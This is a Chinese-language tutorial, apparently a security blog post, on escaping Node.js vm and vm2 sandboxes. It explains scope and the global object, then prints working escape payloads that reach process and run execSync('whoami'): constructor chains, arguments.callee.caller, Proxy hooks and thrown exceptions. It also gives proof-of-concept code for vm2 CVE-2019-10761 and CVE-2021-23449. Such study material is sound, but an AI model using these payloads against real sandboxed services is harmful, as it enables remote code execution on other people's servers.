0x01 沙箱逃逸初识
说到沙箱逃逸,我们先来明确一些基本的概念。
- JavaScript和Nodejs之间有什么区别:JavaScript用在浏览器前端,后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境,因此JavaScript也可以作为一门后端语言,写在后端(服务端)的JavaScript就叫叫做Nodejs。
- 什么是沙箱(sandbox)当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
- 沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别:sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。
- 在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。
0x02 Node将字符串执行为代码
我们先来看两个在node中将把字符串执行成代码的方式。
方法一 eval
首先我在目录下创建一个age.txt
var age = 18
创建一个y1.js
const fs = require('fs')
let content = fs.readFileSync('age.txt', 'utf-8')
console.log(content)
eval(content)
console.log(age)
可以发现我们通过eval执行了一个字符串,但是这种执行方式如果在当前作用域下已经有了同名的age变量,这个程序就会报错。
在js中每一个模块都有自己独立的作用域,所以用eval执行字符串代码很容易出现上面的这个问题,我们再看另外一种方法。
方法二:new Function
上面的方法因为模块间的作用域被限制了使用,那么我们考虑一下如果能够自己创建一个作用域是不是就可以更加方便的执行代码呢?new Function的第一个参数是形参名称,第二个参数是函数体。
我们都知道函数内和函数外是两个作用域,不过当在函数中的作用域想要使用函数外的变量时,要通过形参来传递,当参数过多时这种方法就变的麻烦起来了。
从上面两个执行代码的例子可以看出来其实我们的思想就是如何创建一个能够通过传一个字符串就能执行代码,并且还与外部隔绝的作用域,这也就是vm模块的作用。
0x03 Nodejs作用域
说到作用域,我们就要说一下Node中的作用域是怎么分配的(在Node中一般把作用域叫上下文)。
在Web端(浏览器),发挥作用的一般是JavaScript,学过JavaScript的师傅应该都知道我们打开浏览器的窗口是JavaScript中最大的对象window
,那么在服务端发挥作用的Node它的构造和JavaScript不太一样。
我们在写一个Node项目时往往要在一个文件里ruquire其他的js文件,这些文件我们都给它们叫做“包”。每一个包都有一个自己的上下文,包之间的作用域是互相隔离不互通的,也就是说就算我在y1.js中require了y2.js,那么我在y1.js中也无法直接调用y2.js中的变量和函数,举个例子。
在同一级目录下有y1.js
和y2.js
两个文件
y1.js
var age = 20
y2.js
const a = require("./y1")
console.log(a.age)
运行y2.js发现报错 age
值为undefined
那么我们想y2中引入并使用y1中的元素应该怎么办呢,Node给我们提供了一个将js文件中元素输出的接口exports
,把y1修改成下面这样:
y1.js
var age = 20
exports.age = age
我们再运行y2就可以拿到age的值了
我们用图来解释这两个包之间的关系就是
这个时候就有人会问左上角的global是什么?这里就要说到Nodejs中的全局对象了。
刚才我们提到在JavaScript中window
是全局对象,浏览器其他所有的属性都挂载在window
下,那么在服务端的Nodejs中和window
类似的全局对象叫做global
,Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx
的方式来访问,直接用xxx
就可以调用这个变量。举个例子,console
就是挂载在global下的一个全局变量,我们在用console.log
输出时并不需要写成global.console.log
,其他常见全局变量还有process(一会逃逸要用到)。
我们也可以手动声明一个全局变量,但全局变量在每个包中都是共享的,所以尽量不要声明全局变量,不然容易导致变量污染。用上面的代码举个例子:
y1.js
global.age = 20
y2.js
const a = require("./y1")
console.log(age)
输出:
可以发现我这次在y1中并没有使用exports
将age导入,并且y2在输出时也没有用a.age
,因为此时age已经挂载在global上了,它的作用域已经不在y1中了。
我们输出一下global对象,可以看到age确实挂载在了global上:
<ref *1> Object [global] {
global: [Circular *1],
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
performance: Performance {
nodeTiming: PerformanceNodeTiming {
name: 'node',
entryType: 'node',
startTime: 0,
duration: 25.98190000653267,
nodeStart: 0.4919999986886978,
v8Start: 2.0012000054121017,
bootstrapComplete: 18.864999994635582,
environment: 10.277099996805191,
loopStart: -1,
loopExit: -1,
idleTime: 0
},
timeOrigin: 1665558311872.296
},
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
age: 20
}
0x04 vm沙箱逃逸
我们在前面提到了作用域这个概念,所以我们现在思考一下,如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理,先来了解几个常用的vm模块的API。
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。
const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'
vm.createContext([sandbox])
: 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3
vm.runInNewContext(code[, sandbox][, options])
: creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。vm.Script类
vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。new vm.Script(code, options)
:创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
code:要被解析的JavaScript代码const util = require('util'); const vm = require('vm'); const sandbox = { animal: 'cat', count: 2 }; const script = new vm.Script('count += 1; name = "kitty";'); const context = vm.createContext(sandbox); script.runInContext(context); console.log(util.inspect(sandbox)); // { animal: 'cat', count: 3, name: 'kitty' }
script对象可以通过runInXXXContext运行。
我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext
后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。
如果我们把代码改成这样(code参数最好用反引号包裹,这样可以使code更严格便于执行):
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);
vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
那么我们是怎么实现逃逸的呢,首先这里面的this指向的是当前传递给runInNewContext
的对象,这个对象是不属于沙箱环境的,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()
是调用这个用Function的constructor生成的函数,最终返回了一个process对象。
下面这行代码也可以达到相同的效果:
const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);
然后我们就可以通过返回的process对象来rce了
y1.mainModule.require('child_process').execSync('whoami').toString()
这里知识星球上提到了一个问题,下面这段代码:
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
我们能不能把this.toString.constructor('return process')()
中的this换成{}呢? {}的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到global下的。
如果我们将this换成m和n也是访问不到的,因为数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),在沙盒内使用的mn已经不是原来的mn了,所以无法利用。
我们将mn改成其他类型就可以利用了:
0x05 vm沙箱逃逸的一些其他情况
知识星球里提到了这样的情况:
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller
,它可以返回函数的调用者。
我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller
就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
我们分析一下这段代码
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller
获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。
如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy
来劫持属性
Proxy 和 Reflect - 掘金 (juejin.cn)
const vm = require("vm");
const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)
触发利用链的逻辑就是我们在get:
这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce。
如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢?
我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出:
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
0x06 vm2
通过上面几个例子可以看出来vm沙箱隔离功能较弱,有很多逃逸的方法,所以第三方包vm2在vm的基础上做了一些优化,我们看一下这些优化具体是怎么实现的。
安装vm2包:
npm install vm2
整个vm2包下是这样的结构:
cli.js
实现了可以在命令行中调用vm2 也就是bin下的vm2。contextify.js
封装了三个对象:Contextify Decontextify propertyDescriptor
,并且针对global的Buffer类进行了代理。main.js
是vm2执行的入口,导出了NodeVM VM
这两个沙箱环境,还有一个VMScript
实际上是封装了vm.Script
。sandbox.js
针对global的一些函数和变量进行了拦截,比如setTimeout,setInterval
等
vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__
这些属性的访问。
先用vm2演示一下:
const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));
VM
是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化后调用其中的run方法就可以运行一段脚本。
那么vm2在运行这两行代码时都做了什么事:
可以发现相比于vm的沙箱环境,vm2最重要的一步就是引入sandbox.js
并针对context做封装。
那么vm2具体是怎么实现对context的封装?
vm2出现过多次逃逸的问题,所以现有的代码被进行了大量修改,为了方便分析需要使用较老版本的vm2,但github上貌似将3.9以前的版本全都删除了,所以我这里也找不到对应的资源了,代码分析也比较麻烦,直接移步链接:
vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)
0x07 vm2中的沙箱绕过
CVE-2019-10761
该漏洞要求vm2版本<=3.6.10
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
这个链子在p牛的知识星球上有,很抽象,沙箱逃逸说到底就是要从沙箱外获取一个对象,然后获得这个对象的constructor属性,这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。举个例子:
假设当前环境下最大递归值为1000,我们通过程序控制递归999次(注意这里说的递归值不是一直调用同一个函数的最大值,而是单次程序内调用函数次数的最大值,也就是调用栈的最大值):
r(i); // 该函数递归999次
f.call(ft); // 递归到第1000次时调用f这个函数,f为Buffer.prototype.write,就是下面图片的这个函数
this.utf8Write() // 递归到1001次时为该函数,是一个外部函数,所以爆栈时捕捉的异常也是沙箱外,从而返回了一个沙箱 外的异常对象
CVE-2021-23449
这个漏洞在snyk解释是原型链污染导致的沙箱逃逸,但p牛在知识星球里发了其实是另外的原因
Sandbox Bypass in vm2 | CVE-2021-23449 | Snyk
poc:
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误。
知识星球上的另外一个trick
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
在vm2的原理中提到vm2会为对象配置代理并初始化,如果对象是以下类型:
就会return Decontextify.instance
函数,这个函数中用到了Symbol全局对象,我们可以通过劫持Symbol对象的getter并抛出异常,再在沙箱内拿到这个异常对象就可以了
参考文章:https://blog.csdn.net/m0_62063669/article/details/125441529
https://blog.csdn.net/u012961419/article/details/121281538
https://blog.csdn.net/sunyctf/article/details/124434565
https://www.mianshigee.com/note/detail/27897wlr/#script-runinnewcontext-sandbox-options
Proxy 和 Reflect - 掘金 (juejin.cn)
vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)
P神知识星球